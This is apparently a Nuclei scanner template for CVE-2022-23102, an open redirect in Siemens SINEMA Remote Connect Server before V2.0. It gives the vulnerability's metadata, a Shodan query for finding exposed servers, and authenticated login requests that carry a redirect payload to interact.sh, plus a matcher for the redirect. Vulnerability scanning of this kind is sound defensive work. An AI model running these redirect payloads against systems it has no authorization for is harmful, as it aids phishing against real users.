id: CVE-2022-23102

info:
  name: SINEMA Remote Connect Server < V2.0 - Open Redirect
  author: ctflearner,ritikchaddha
  severity: medium
  description: |
    A vulnerability has been identified in SINEMA Remote Connect Server (All versions < V2.0). Affected products contain an open redirect vulnerability. An attacker could trick a valid authenticated user to the device into clicking a malicious link there by leading to phishing attacks.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks.
  remediation: |
    Upgrade to SINEMA Remote Connect Server version 2.0 or later to fix the open redirect vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2022-23102
    - https://packetstormsecurity.com/files/165966/SIEMENS-SINEMA-Remote-Connect-1.0-SP3-HF1-Open-Redirection.html
    - https://seclists.org/fulldisclosure/2022/Feb/20
    - https://cert-portal.siemens.com/productcert/pdf/ssa-654775.pdf
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-23102
    cwe-id: CWE-601
    epss-score: 0.00366
    epss-percentile: 0.71925
    cpe: cpe:2.3:a:siemens:sinema_remote_connect_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: siemens
    product: sinema_remote_connect_server
    shodan-query: title:"Logon - SINEMA Remote Connect"
  tags: cve,cve2022,packetstorm,seclists,redirect,sinema,authenticated,siemens

http:
  - raw:
      - |
        GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: csrftoken={{csrf}};
        Referer: {{RootURL}}/wbm/login/?next=https%3A%2F%2Finteract.sh

        csrfmiddlewaretoken={{csrf}}&utcoffset=330&username={{username}}&password={{password}}

    matchers:
      - type: regex
        part: header_2
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - "name='csrfmiddlewaretoken' value='(.*)' />"
        internal: true
# digest: 490a0046304402203cad78aaff543175f5e30153ca01cb6d6a88448ec822dc9559ed8b13434d6e9c022002833237d916abd0bcc7d2263671711bfe6b01b5fdaf5564e962070a75d71045:922c64590222798bb761d5b6d8e72950